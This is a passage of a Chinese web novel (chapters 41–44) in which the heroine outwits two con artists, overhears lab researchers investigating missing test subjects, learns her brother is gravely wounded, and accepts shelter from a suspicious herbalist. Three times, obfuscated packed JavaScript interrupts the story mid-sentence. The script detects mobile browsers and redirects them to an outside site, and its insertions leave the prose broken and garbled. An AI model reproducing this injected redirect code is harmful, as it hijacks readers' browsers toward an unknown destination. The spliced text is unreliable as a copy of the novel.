“靠,”黑夹克率先打破平衡,“你是鬼吧,神出鬼没的。” 白短袖在他说话时就卷起手里的钞票塞进了口袋,站在黑夹克身后一言不发。 兰落的视线落在白短袖鼓鼓的裤子口袋上。 哦,原来钱在这呢。 黑夹克伸手挡在白短袖身前,脸上露出警惕的神色:“干什么,要谋财害命啊?” 兰落有点好笑。 似曾相识的场景,似曾相识的话。 不同的是,他们的身份好像颠倒过来了,现在要敲诈勒索的,变成了兰落。 兰落掏出匕首,指着白短袖。 通讯器的事先放一放,她要跟这两个骗子算算账。 41. 重逢 “不谋财不害命,”兰落转了转匕首,“来跟你们算算账。” “什么账?”白短袖还在装傻,一脸镇定地问。 兰落没看他,眼睛盯着黑夹克:“你们心知肚明。” “谁跟你心知肚明?” 黑夹克左手挡在白短袖前,右手垂在身侧:“我们已经两清了,现在就当做互不认识就够了,你说的什么账我们不知道,也认不了。” “管你知不知道。”兰落没解释。 □□包的事她不信他们两个不知情,尤其是一脸贼溜溜的白短袖。 兰落踩在墙上助力,身影快到出现虚影,一眨眼就来到了白短袖的身侧。 黑夹克的速度是快,但再快也快不过认真起来的兰落。 兰落出现在他们二人身侧的时候,黑夹克的视线甚至还在防守身前,白短袖更不用说了,一双眼睛四处乱看,根本没有捕捉到兰落的身影。 兰落看清了这两人脸上的惊讶神色,勾唇一笑。 其实她自己也有点惊讶,之前她的速度没有这么快的,怎么突然就提速了? 就连这两个人的动作都像放了慢倍速一样,每个举动都缓慢又清晰,让她有充足的时间去预判。 来不及多想,兰落转身飞踢,把反应过来的黑夹克踢了出去,顺便借力让自己和白短袖朝反方向滑了几步。 她抓住白短袖的肩膀,指尖摁进他的皮肉,像动物的爪子一样牢牢锁住他,不让他有逃脱的机会。 黑夹克单手捂住腹部,一脸凶狠地看向兰落:“你到底想怎样?” 兰落把匕首架在白短袖的脖子上,一脸坦然:“不干什么,把钱给我。” “已经给过你了。”白短袖神色淡淡,远没有黑夹克看上去紧张。 “装。”兰落言简意赅。 她继续用匕首抵着白短袖的脖子,另一手去掏他的口袋。 兰落亲眼看到白短袖把钱塞进了口袋。 她在他口袋里摸了半天,摸到黑夹克用气得磨牙的表情瞪她,也没摸到钱在哪。 兰落伸出手,手指间夹着一枚硬币。 “又开始了。”她有点无语。 做人诚实点不好吗? 她都看到了这叠钱,也知道了白短袖有障眼法的小把戏,怎么可能还会再上当? 兰落手指一抬,硬币在空中转了几个圈又落进她手心:“我收下了,之前的事情就不跟你们计较了。” 白短袖脸上的表情终于崩塌了一瞬,眼珠子盯着翻上翻下的硬币,咬了咬唇。 表情有点恶心。 兰落嫌弃地推开他,白短袖酿跄几步才站稳,停在黑夹克身前几步远的地方。 “哎!” 黑夹克伸手扶了他一下,满脸紧张。 这俩人……真是比亲兄弟还亲。 兰落把硬币收好,匕首也藏好,弯了弯唇就准备离开。 白短袖和黑夹克对视一眼。 “嗯!” 白短袖飞快点了点头。 几乎是一瞬间,黑夹克就一跃而起,从身后靠近了兰落,左手呈爪状袭向兰落的脸。 兰落回头,毫不费力地控制住了他的手腕:“你以为……” “呼——” 话才说了一半,兰落的眼前就被一阵白色浓雾覆盖,双眼酸涩,不得不紧闭双目。 黑夹克会吐烟雾! 兰落闭着眼睛,下意识屏住呼吸。 她抓住黑夹克的下一秒,他就毫无预兆地从嘴里吐出了一大股浓烟,直接遮住了兰落的所有视线。 她费力睁开眼,眼前只剩下一片白茫茫,连半个人影都看不到了。 兰落一直没有呼吸,警惕地捂住口鼻,抬手挥了挥眼前的浓雾,皱着眉头观察四周。 看不见,但是她能隐约听见周围有细微的动静,像老鼠偷东西一样窸窸窣窣又引人注意。 兰落想起什么,把手伸进口袋,摸自己刚刚收起来的硬币。 硬币消失了,但她的口袋里出现了一沓钞票。 一沓厚厚的,摸起来很踏实的钞票。 眼前浓雾散去,兰落缓缓走了两步,白短袖和黑夹克已经不知所踪,小巷里空荡又安静。 她站定几秒,然后戴上口罩,无事发生一样离开了小巷。 小巷外的大街上,行人寥寥无几,兰落踏出小巷时还收到了几道陌生视线的打量。 不怪他们,她浑身的衣服都半湿不干,脸上又戴着厨房口罩,从不知名小巷里钻出来的样子的确有些可疑。 兰落没有理会这些小心翼翼的打量,抬头挺胸自顾自往前走。 路边有个满头白发的老太太,身躯佝偻,背着双手像蜗牛一样移动,刚好与腰杆笔直的兰落擦肩而过。 老太太前面几步远是一个同样佝偻又年迈的老头子,一边左手背在身后慢吞吞走路,一边回过头嫌弃老太太: “走快点,天天都这么慢!” 老太太步子迈大了一点,嘴里喃喃:“就知道催我,年纪越大脾气越大……” 兰落停下脚步,饶有兴趣地盯着前面的老头子,看他步履蹒跚又脾气暴躁的样子,突然笑了一下。 “你以为……” 兰落叹了一口气,抽出藏在袖口的匕首: “——我是那么好骗的吗!” 她的声音不大,落在这篇安静的街道上却格外清晰。 身后传来老太太的惊呼声,兰落在她惊恐的注视下,飞身直奔老头子,刀尖闪着锋利的冷光。 老头子连连后退,在匕首的威胁下背也不驼了步伐也不蹒跚了,硬朗得好像能再打三十年工。 “叮——” 匕首卡在钢管上,刀尖距离老头子的鼻尖只有不到一厘米。 兰落刀背压在钢管上,还没使多大劲就已经压得钢管变形扭曲,几乎要拦腰折断。 她看着老头子涨红的脸,一脸云淡风轻:“怎么单手接?右手呢?是不想拿出来吗?” 老头子用力一推,把匕首推开,连同钢管一起丢了出去:“你早就猜到了!” 钢管是随手从路边拿的,掉在大街中央发出“当啷”一声,落在了老太太脚边。 兰落收回匕首,耸了耸肩。 她就是被耍了不高兴,逗回去怎么了? 这两个老人虽然行为举止无懈可击,但兰落耳朵很好,像老人这种拖沓的脚步声,早该在一开始就被她听见了,怎么可能突然在空旷的大街上响起? “你身上那么明显的伤,挡也挡不住。” 兰落用下巴点了点老头子垂在身侧的右手。 黑夹克捏了捏拳头,老头子的外表上渐渐浮现出怒气。 “冷静!”白短袖,或者说老太太,突然在身后轻喝。 兰落刚要开口,黑夹克就猛然吐出了一口浓雾,浓烈程度甚至远远高于小巷里的那股烟。 幸好她早有准备,预判了他的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990149|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作,提前屏住呼吸防止吸入烟雾。 “这烟无缝不入,即使闭气也会从你的眼睛、耳朵甚至毛孔里渗透进去!” 黑夹克带着怒气的声音响起,兰落看见两道影子飞快掠过,刚要去追,脚下就一软,跪在了地上。 黑夹克说的没错,这烟确实有毒,不过对她影响不大。 就算吸入了毒烟,她的身体也能快速自愈,把毒性抵消掉。 只不过会浪费一点时间而已。 这两个不识货的蠢东西,活该钱包被掏空。 兰落站起身,她压根没想把他们的钱全拿走,只是气不过被骗故意给他们一个教训而已。 这些钱面额很大,她只需要拿一大半就足够置换生活必需品的了,完全可以还一小半给他们。 现在看来也是没必要了。 泛着淡淡紫色的烟雾缓缓褪去,露出眼前空荡的大街,兰落眨眨眼,感受了一下,身体除了刚刚软了一阵,就没别的不舒服了。 她的异能好像有点进步了。 速度更快了,力气更大了,就连自愈的速度都快了不少,按照这个势头发展下去,她很快就能徒手扛大炮了。 兰落冷笑一下,内心没这么乐观。 她能感觉到,两颗心脏并没有顺利融合。 但她已经不知道该怎么才能让它们合二为一了,那些恍惚的传承记忆并没有告诉她具体的操作方法。 想到这些,兰落就开始烦躁,几乎是三步并两步,一步一带风地走到了炸鸡店。 先把通讯器搞到手再说。 吐金街还是一样的黏腻肮脏又安静,就连一直大开着门的炸鸡店都紧闭玻璃门,安静得像打了烊。 真打烊了? 兰落狐疑地凑进一步。 “……是……” “没有……” 模糊的对话透过门缝传进兰落的耳朵。 有人,只是没开门。 她绕了一圈,绕到一条狭窄得只能侧身进入的夹缝,来到炸鸡店后厨的位置。 这里有一扇油腻的小窗户,没上锁,一推就开了。 兰落双手撑在窗台,跳到窗户上,居高临下扫视了一圈,确认了这里就是炸鸡店后厨。 至于她是怎么判断出来的…… 兰落蹑手蹑脚跳进后厨,扫了一眼水池里两只褪了毛的死鸡,死鸡骨瘦如柴,皮肤上有很多奇怪的疙瘩,看着就是不能吃的样子。 冰柜里有不少冷冻的鸡块,上面结着厚厚的冰霜,一袋开封的鸡块被随手扔在案板上,冰霜化了一地,露出里面隐隐发青的陈年鸡肉。 兰落挪开视线,抑制住翻涌的恶心感,轻手轻脚走到了后厨门边。 炸鸡店的后厨和前厅只用一张薄薄的布帘隔开,布帘随微风晃动,被风掀开一条缝,露出前厅模糊的人影。 兰落躲在墙壁后,身侧就是轻飘飘的布帘,她低头甚至能看清上面的油斑和烧焦的小洞。 “……不知道啊,一直都这样吧。” 光头的声音传进来。 “嗯,了解了。” “辛苦。” 两道声音一前一后传到后厨,一道平静,一道懒散。 兰落垂着眼,咽了咽口水,心脏开始怦怦跳—— 不用看了,她已经直接听出前厅坐着的人是谁了。 布帘轻动,露出昏暗前厅里两个人影。 是叶飞。 还有祝见尘。 42. 新闻 叶飞和祝见尘,为什么会在这个时候出现在细鬼城? 兰落有一阵子没有和实验室的人打交道,乍一看到这两个人,甚至恍惚了一下。 难道他们这么快就找到她了吗? 兰落咬着唇,慢慢呼出一口气,找回了自己的理智,把身子紧贴墙壁,侧耳倾听前面的动静。 “持续多久了?” 叶飞没什么感情的声音响起,语气里甚至带着疲惫。 光头略显局促地说:“不知道啊,我开店的时候就是这种情况了。” “细鬼城嘛,三五不时死几个人也正常,而且死的大部分都不是细鬼城的人,估计就是逃难路上死掉的,没人在意。” “大部分?意思是还有小部分是细鬼城的人喽?”祝见尘吊儿郎当的,似乎没把这件事当成正事来做。 叶飞接着问:“你什么时候开的店?” “呃……”光头磕磕巴巴的,回忆了半天,“应该是六七年前了,差不多有个七八年了。” “然后呢?”叶飞问,“死的小部分的确是细鬼城的居民?” 光头满嘴肯定:“昂,那倒是,有时候还能捞回来呢,去前面找那老太婆做个法再埋了就行。” “做法?”叶飞语气好奇。 “超度吧,”祝见尘声音懒懒的,“做白事的。” “对,”光头笑了,“还是你们说话讲究。” 祝见尘瞥他一眼,没说话。 兰落一直在透过布帘缝隙观察他们,听到这也听出个七七八八了。 还是跟那两具尸体有关。 所以说……他们不是来查她的? 兰落有点不确定,身为实验室内部人员,他们肯定早就知道自己跑了,现在一起出现在这里,实在可疑。 “行了,回去吧。” 祝见尘站起身,伸了个懒腰。 叶飞没动,指尖轻敲桌面。 祝见尘嗓音浑不在意:“不就是少了点实验体吗?何必那么认真?” “实验品少一点,大家的工作还能轻松点。” 叶飞也站起身:“那几条狗可不管这些,每天只知道狂吠。” “不管,”祝见尘耸肩,“装听不到。” 实验品? 后山河里的尸体是实验品? 兰落回忆了一下,当时那两具尸体并没有穿基地统一的制服,也不怪她没往这个方向想。 千万别告诉她,细鬼城原来也是陆观的基地之一。 如果这样的话,兰落都想为自己神奇的运气拍手叫好了。 不过那两个女人又是谁?为什么特意去捞尸体? 兰落还没回忆起她们的长相,叶飞的声音就响起了: “店里就你一个?” 光头连声回答:“对对对,我是老板兼厨师兼收银兼服务员,二位有时间可以来吃饭啊!” 叶飞利索的脚步声慢慢靠近了后厨:“这取决于你的厨房卫生,我需要检查一下。” 兰落听到这话,两颗心脏一前一后提到了嗓子眼儿。 她不怕叶飞也不怕祝见尘,她怕的是他们两个通风报信,彻底暴露自己的行踪。 光头倒是有点自知之明,看上去比兰落还慌张,伸长手臂就拦在了叶飞的身前:“诶诶诶,厨房重点闲人免进,到时候掉头发进去我有理说不清。” 叶飞扫了一眼他光秃秃的脑壳,然后把视线重新放回布帘上,眼神中透露着浓浓的审视。 后厨的布帘很薄,连个人影也挡不住,只要有点光线,就能把帘子前的人影清清楚楚映在上面,像皮影戏一样。 兰落看着他们三人投射在帘子上的影子,脊背紧紧挨着墙根儿,不让自己有任何暴露在布帘下的可能性。 她极为缓慢地伸出手,不声不响地握住了匕首温热的刀柄。 这几天用刀太勤,它甚至没有机会重新变得冰冷,一直被她的体温包围着。 如果叶飞真的要闯进来,那她就只能…… “行了。” 随着祝见尘懒散声音一起落下的,是兰落高高举起的匕首。 祝见尘很不耐烦的样子:“您叶大研究员贵人事忙,就别在这小快餐店发号施令了,喜欢吃让基地多做点呗。” “你倒是喜欢基地的伙食,”叶飞转身,大踏步往外走,“陆家的好狗。” 祝见尘不置可否,落在后面不快不慢地走着,看都没看后厨一眼。 光头三步并两步跑到前面给他们开门,一脸谄媚地扶着厚门帘:“慢走慢走,有空来吃饭哈。” 叶飞抬头挺胸,下巴抬得高高的,微微颔首就走出了炸鸡店。 兰落贴在墙根儿,把匕首收好,生怕引起叶飞怀疑,不敢再靠近门帘。 祝见尘落在光头身后,很不见外地接过了厚重的门帘举在头顶:“我来吧。” 光头搓着手,脸上还是挂着笑。 放下门帘的前一刻,祝见尘转身,装作不经意地扫了一眼后厨的方向。 “有空来吃饭。”他说。 光头忙不迭点头,没有注意到祝见尘极为隐晦的视线。 身在后厨,尽量缩小存在感的兰落,更没注意到他的视线,她正在思考。 如果陆观在细鬼城也有基地,那么他会把基地建在什么地方? 她要怎么样做,才能在不离开细鬼城的基础上完全避开他们? 前厅的厚门帘和玻璃门碰撞出轻响,兰落悄悄看了一眼,门口只剩下光头一个人,在对离开的叶飞和祝见尘行注目礼。 是他们两个比较有威慑力,还是说整个基地在吐金街都很有地位? 否则光头为什么这么谄媚? 兰落一边想,一边在吧台上扫视,寻找自己的通讯器。 通讯器就在吧台左边半开的抽屉里,和一堆零钱摆在一起,偶尔发出一点微光。 兰落钻出后厨,溜到吧台飞速拿走了通讯器,还不忘薅了一把零钱。 光头笑眯眯地转身回来,刚好和蹲在吧台下的兰落错开了视线。 兰落向前翻滚,然后蹲在地上,捉迷藏一样绕了吧台一圈,卡着光头的视野盲区重新钻进了后厨。 不能再随便起冲突了,万一他跟叶飞他们告状,她会麻烦死的。 至于这些零钱,就算作给她吃恶心冻鸡块的精神赔偿了。 兰落刻意避开了这些脏食材,熟门熟路从小窗户溜了出去,一蹦就落在巷子里。 穿过狭窄的巷子,又左拐右拐走到无人的空巷,兰落这才把零钱塞进口袋。 刚刚她一路都抓在手里,就怕行动的时候硬币互相碰撞发出声音惊动了光头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008807|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >拍了拍口袋,确定自己暂时是个小有钱人,兰落才拿出了通讯器。 通讯器从刚刚起就闪着微弱的光,应该是有通知。 这款通讯器有点老了,功能也不齐全,能接受到的基本都是全范围统一发放的官方通知。 兰落点开闪烁的屏幕,消瘦的脸在光源下显得有些惨白。 “惊!第一军校优秀新生竟在试炼中被开膛破肚,场面惨不忍睹!第一军校向来号称最高军校,新生实力竟然如此差劲、军校学生安全竟如此得不到保障,以后孩子们该如何安心上学?” “第一军校南部分校某新生在试炼过程中因不明原因身受重伤,抢救多日,生死不知。” 一打开通讯器,两条风格截然相反的讯息就映入了兰落的眼帘。 她垂着头,细细看过略显浮夸的新闻标题,脸上没什么变化。 所以他死了吗? 兰升在被剜出心脏后死了没? 兰落往下滑,寻找着答案。 “关于我校新生在试炼场受伤一事,我们深表歉意,也非常心疼。该新生事发突然,目前仍在抢救,具体情况不便透露,但我们一定会尽最大的努力去弥补我们的疏忽,尽力抢救他的生命。” “关于凶手,由于小息城是荒城,没有可靠的监控设备,当天又刚好下雨,毁灭了大部分线索,因此凶手身份与动机仍然不明,我们会尽最大努力找到凶手并绳之以法!” “此后,我们将深刻吸取经验,在一切野外试炼中做到事前排查、事中巡查、事后检查,绝不让意外重演!” 署名是第一军校南部分校。 兰落看到现在,也只看出了兰升生死未卜这一条没用的消息。 他命还挺大的。 只是,怎么没有关于凶手的报道? 兰落不知道自己到底希不希望出现在凶手名单上,只是机械地往下滑。 “浅谈,军校新生遇害案迟迟不公布凶手,甚至连嫌疑人都没有,这让人不禁联想到曾经家喻户晓的传说,传说里不死不老的女鬼,就是依靠吃人心成为不死者的,军校如此顾左右而言他,真是令人不得不担心呀……” 吃人心? 女鬼? 不老不死? 兰落挑了挑眉,她还是第一次听到这个所谓的传说。 ——简直像是为她量身打造的。 只是,兰落觉得有点匪夷所思,为什么军校连嫌疑人都不公布? 她都做好被几路势力一起追杀的打算了。 那天肃哥明明看到了她和楚知的脸,他们甚至交手了,肃哥身上也有明显的枪伤,按理来说他应该第一时间就把自己和杀兰升的凶手联想在一起才对,怎么会毫无报道。 难道军校打算偷偷逮捕她,还是说肃哥其实根本没有上报? 兰落看了一眼,右上角显示“4/5”,还剩最后一条消息,关于“军校新生遇害案”的专栏通知就到底了。 她手指微微停顿,滑到最后一条消息。 “军校遇害新生父母失声痛哭,家族骄傲成为重症室伤员,可怜天下父母心!” 兰落的目光在最后几个字上打转,捏着通讯器的指尖泛白。 消息后面跟着一张图。 图上,一对满脸憔悴的中年夫妻,正眼眶通红地扒着重症室玻璃。 43. 借住 图片里的两个人,兰落可太熟悉了。 就是他们,把自己送进了实验室,成为陆观手底下毫无尊严的实验体。 兰落其实明白,陆观既然看上了她的异能,就算没有兰父兰母的“推销”,她也不一定能逃脱成为实验体的命运。 但她讨厌的,是兰家人通过关系主动联系陆观,背着自己和他商讨价钱的行为。 兰父兰母一直告诉她,是陆先生看中了她,所以去实验室配合研究是她的荣幸,就算他们很舍不得她,也只能忍痛送她离开。 但事实呢? 兰落早就从研究员嘴里听到了,兰父兰母是主动联系上实验室,主动向他们推销自家孩子特殊异能的。 “别人家都避着实验室走,你家倒好,上赶着来做实验品,稀奇。” “要不是活不下去了,谁会主动进实验室啊,你说你爸妈是为啥?” 想到研究员曾经说过的话,兰落嘴角掀起一抹嘲讽。 为了什么? 为的是那笔钱,那笔能让兰升在军校昂头挺胸、让他们摇身一变成为富贵人家的数不清的钱。 兰落看着图片里兰父兰母身上质量明显好了不少的衣服,又注意到兰父手腕上一块不起眼的腕表。 好巧,这表她知道。 兰落曾经在未城的商场大屏上见过这只表,一个长相精致的明星把它戴在手腕上,假装撩发,实则展示手表。 “哇,是冷娇娇。” “她代言的东西肯定不便宜吧。” “这表都快十万了,买不起买不起……” 兰落当时仰着脑袋看巨屏广告,心里想的也和他们一样。 太贵了,买不起。 没想到转头兰父就戴在了手腕上。 “真是……” 兰落差点控制不住手上的力气,老旧通讯器发出不堪重负的轻响。 就在通讯器上几乎要出现裂纹的时候,兰落松开手指,任由它自由落体掉在地上。 她为什么要因为这些事情愤怒? 她被卖进实验室、兰升被送进第一军校、兰父兰母手握巨款都已经是既定的事实,即使她今天气死在这里,事情也不会有一分一毫的改变。 通讯器对她来说还有用,没必要因小失大,毁了通讯器。 兰落弯腰捡起沾上灰尘的通讯器,把它和兜里的钱放在一起。 她能做的,就只有抓紧融合两颗心脏,让自己有足够的底气出现在他们面前,跟他们好好算一账。 是的,没错,就这么简单。 兰落抚了抚心口,感受着两股频率不同的心跳在撞击胸口,深呼出一口气,离开了小巷。 她要先买套新衣服,再找个能正儿八经吃饭的地方。 至于住宿,如果有就最好,没有的话,去后山找个山洞凑合一下也不是不行。 这么长时间的野人生活,兰落早就适应了野外生存的环境,对睡眠的要求也一再降低。 她绕过吐金街,在细鬼城转了又转,也没找到能买衣服的地方。 别说衣服了,连个小百货超市都没有。 兰落对吐金街的印象很差,又怕再遇上叶飞跟祝见尘,就算找不到商业街,也坚决不肯再去吐金街了。 她绕了几圈,每次都和窗边的小女孩擦肩而过。 小女孩就是刚进城对她态度很差的那个孩子,兰落看她一双亮晶晶的眼珠子跟着自己打转,果断上前: “知不知道哪里还有能买生活用品和衣服的地方?除了吐金街。” 小女孩在兰落靠近的一瞬间就往后弹了几步,扶着窗户就要关。 兰落伸出一只手卡住窗户,重复了一遍:“除了吐金街那种地方,还有什么地方能买衣服?” “我怎么知道!”小女孩上半身尽可能远离兰落,手指却紧紧扒着窗户。 兰落也不和她啰嗦,抽出一张一百的纸币,在窗前晃了晃:“拿这个跟你换消息。” 小女孩眼珠子跟着纸币晃,嘴巴也无意识微微张开,一副快被收买的样子。 “但是……” 她犹犹豫豫地开口,视线黏在钞票上。 “不说就算了。” 兰落一脸冷淡收回纸币,松开卡着窗户的手指,转身就要走。 “哎!”小女孩急了,从防盗网里伸出一只手,“别走!” 兰落回头:“你不是不知道吗?那我找别人去了。” 小女孩扒着防盗网,一脸急切:“我是不知道……” “那不就得了。”兰落转身。 “哎!”小女孩把防盗网拍得哐哐响,“我不知道,但我妈妈肯定知道!” “你等等,她马上就回来了!” 兰落假装考虑:“那也太浪费时间了,我直接去问别人不是更好?” “不好不好!”小女孩摆手,“虽然我不太出门,但我妈妈可是从小生活在细鬼城,没人比她更了解这里了!” “你就等一小会儿,她天黑之前一定会回来的!” 兰落把一百块团起来,在手心里抛着玩:“如果没回来呢?” “怎么可能!”小女孩一脸笃定,“她肯定会……” “回来了!我妈妈回来了!” 说到一半,小女孩突然指着城门口,脸上都是喜悦:“看吧!那个就是我妈妈,我就说她很快就回来了!” “快,先把钱给我,我帮你问我妈妈!”她压低声音,冲兰落伸手。 兰落却没理她,把纸币塞回口袋,不动声色地观察着远远走来的女人。 她见过这个人。 女人手里拎着一个结实的塑料袋,慢慢靠近了她们,脸上带着恰到好处的好奇:“您是?” “妈妈妈妈!”小女孩抢先开口,“你今天累不累?” “不累。”女人把塑料袋换了只手拎,从口袋里掏钥匙。 小女孩凑到窗边,指指兰落:“妈妈,你知不知道哪里能买衣服呀,这个人想买衣服,但是她不要去什么吐水街。” “啊?”女人看了看兰落。 兰落表情淡定地问女人:“是吐金街。那里我去了,不太符合我的要求,细鬼城还有没有其他卖东西的地方?” “嗯……”女人把塑料袋放下,皱了皱眉,“买东西的话,其实不太好买。” “什么意思?”兰落问。 小女孩在女人身后一个劲儿给兰落使眼色,兰落把手伸进口袋,垂在身侧轻轻一弹,团起来的一百块就“嗖”一下飞进了窗户。 小女孩一直盯着一百块的飞行路线,见状像小猫扑苍蝇一样悄悄扑了过去,把纸币牢牢盖在手心里。 女人没看小女孩,皱眉摇头:“你既然去过吐金街,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021921|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该知道那里的人有点……不太讲道理。” “吐金街在这里制霸一方,细鬼城的生意几乎已经被他们垄断了,所以除了吐金街,其他地方你很难买到东西。” 兰落也猜到了这点,闻言只是点点头,道了一声谢就转身准备离开。 细鬼城买不到,那就出去吧。 反正她现在来去自由,顶多路上浪费一点时间,只要小心对付人犬,大概率不会出现什么问题。 “哎!” 女人叫住她,试探性地问:“要是你不嫌弃的话,要不……先到我家来?” “我家有换洗的衣服,你可以洗个澡,总好过穿湿衣服。” 她指了指兰落身上半湿不干的衣服。 “不……也不是不行。”兰落本打算拒绝,眼珠子一转,到嘴边的话又变了,点头答应了女人。 女人听了,眯着眼睛笑笑,捡起塑料袋用老旧的钥匙开门,率先走了进去。 室内亮堂堂的,是小女孩打开了灯。 兰落盯着女人柔弱的背影,眼中浮现思索。 这个女人,就是今天在后山捞尸体的人。 大门有些低矮,兰落跟在女人身后低头进门,打量了一下房屋环境。 房子应该是一半地上一半地下的设计,所以虽然大门低矮,但内部空间还是很大的,四周的墙面有一点轻微的裂痕,被人重新填补过,留下深浅不一的印子。 小女孩背着手,站得远远的看兰落,抿着唇不说话。 隔着防盗网的时候很嚣张,兰落进了门她就蔫了,一脸老实又心虚的样子。 兰落没理她,双手插兜坐在女人搬来的塑料凳上,看起来一点都不局促。 但只有她自己知道,她的匕首已经紧紧握在手里了。 “我姓徐,徐来风,这是我女儿,徐锦。” 女人笑着介绍自己。 “虽然吐金街比较霸道,不允许其他人做生意,但幸运的是经常会有人出城采购,如果你有什么要买的东西,可以直接写下来,等有人要去别的城市采购了,就把清单给人家,让人家帮忙带回来。” 徐来风站在桌边解释,一边把塑料袋里的东西拿出来。 兰落没有自我介绍,朝塑料袋看了眼,里面是一些植物,菜不像菜,药不像药。 小女孩围在她妈妈身边,轻轻闻。 徐来风把她赶走,继续说:“所以你可以先写下来,到时候我帮你转交就好。” 看兰落也好奇,她举起手里的草:“这些算是草药,不过淋多了雨药效有点差,偶尔采一点来卖。” 兰落打量着杂草一样的草药,点点头:“这是你的工作吗?所以你经常去采药?” 徐来风摇头:“偶尔采一采。” “我算是半个,”徐来风思忖了一下,“文字工作者吧。” 兰落挑眉,没有继续问。 “你呢?” 徐来风摸了摸徐锦的脑袋,轻声细语:“小锦平时很警惕的,能让她主动邀请你,你肯定是个有童趣的人。” 兰落站起身,靠近她们两个,捡起一根草药放在鼻子下面闻了闻。 “我就是个普通黑户而已,”她放下草药,“是你们两位比较善良。” 嘴上说着恭维的话,兰落脸上却没表情。 这些草药的味道,她很熟悉。 44. 做梦 兰落看见这些草药的时候不认识,但一闻就闻出不对劲了。 这些草药的味道,跟实验室里面有些地方的味道一模一样。 尤其是在手术室还有鸽子笼附近,经常会出现这种味道。 她瞄了一眼徐来风,对方笑得温柔又坦然,似乎对这件事一无所知。 徐来风,究竟是什么人? 一个细鬼城的原住民,为什么和实验室有千丝万缕的关系? 叶飞和祝见尘似乎在查实验体的消失,那徐来风呢? 她跑到后山捞尸体,是为了什么? 还有她的同伙,那个全副武装不肯露脸的女人又是谁? 兰落捻了捻手指,想把手上沾染的草药味去除掉,她不喜欢这个味道。 这味道会让她想起实验室,而她一想到实验室,心情就会变差。 兰落内心已经开始暴躁,脸上却还保持着刚刚的表情,似乎对这些毫不关心,只是随口一问。 “第一次有人这么夸小锦呢,”徐来风笑得温柔,“小锦,快谢谢姐姐!” 徐锦眼珠子滴溜溜,揪着手不说话。 兰落没强求,她只是在客套,根本不在意她们的反应。 她之所以留下来,除了蹭澡,就只是为了搞懂徐来风的身份。 和基地有关的,她都好奇。 “小锦不太和外面的人打交道,你别在意。” 徐来风打了个圆场,把草药平铺在桌上,然后拍拍手上的草屑:“这样吧,我先给你拿套衣服,你看合不合适。合适的话就直接去洗个澡,要是不合适,我再出去帮你跟邻居借一件。” 徐来风体型高瘦,但兰落这些日子身高也往上窜了一点,穿她的衣服应该问题不大。 “麻烦你了。”兰落礼貌地笑,笑意不达眼底。 徐来风动作很快,熟门熟路进了卧室,没几分钟就拿了一套衣服出来。 兰落一直默默观察着,看徐来风熟练的动作,心里的疑虑打消了一点。 她原本怀疑徐来风并不是细鬼城的原住民,徐锦也只是她掩人耳目的手段,但看她如此娴熟自然的动作,倒也不像假的。 如果陆观在细鬼城有实验室,那它是什么时候建造起来的? 如果很早就有了,徐来风是否知情? 她在其中又扮演什么样的角色? 兰落接过徐来风递来的衣服,若无其事垂下眸子。 “你看大小合不合适?”徐来风问,“这件是我年轻时候的旧衣服,很久没穿过了,不过是干净的,前阵子刚洗过,你可以放心穿。” “妈妈现在也很年轻。”徐锦坐在一边,托着下巴插话。 徐来风揉了揉她的脑袋。 兰落把衣服在身上比了比,上衣是件黑色短袖,裤子是条略显宽松的工装裤,大小对她来说可以接受,不会影响活动。 “谢了。”兰落把衣服随手团起来挂在手臂上,不太走心地道谢。 徐来风指了指兰落左边:“浴室在那里,洗漱用品也在里面,你可以直接用。” “放心,家里只有我们两个人,不用担心隐私问题。” 可能怕兰落不放心,她还特意补充了一下。 兰落又道了一声谢,带着衣服去了浴室。 浴室很干净,东西很多但井井有条,没有男人的生活痕迹,也没有第三个人的生活痕迹。 全副武装的女人不和徐来风生活在一起,那么她们是同事?朋友? 她们捡回来的那具尸体又去了哪? 兰落打开淋浴头,体会着久违的热水澡,渐渐放弃思考。 说实话,这件事情和她的关系不大,她没必要搞个清楚。 她只想知道实验室在细鬼城的基地现状,以及自己的心脏,到底什么时候能彻底融合。 兰落在水流中抚上心口,那里有两颗蓬勃的心脏。 两颗心脏刚开始交汇的时候,兰落明显感觉到自己的身体和自愈能力都有强化,但没多久就陷入了停滞,一直到现在,除了时不时的疼痛,就没有任何正面发展的迹象了。 如果不能融合,那她费尽心思走到现在又算什么? 兰落放下手,心无旁骛地把头发搓洗干净,用发绳绑好。 她本来打算直接剖开胸腔观察两颗心脏,但现在好歹是在别人家,把她们的浴室弄得太血腥了不好看。 况且,她并不信任这两个人,在她们眼皮子底下对自己下手,无疑是找死。 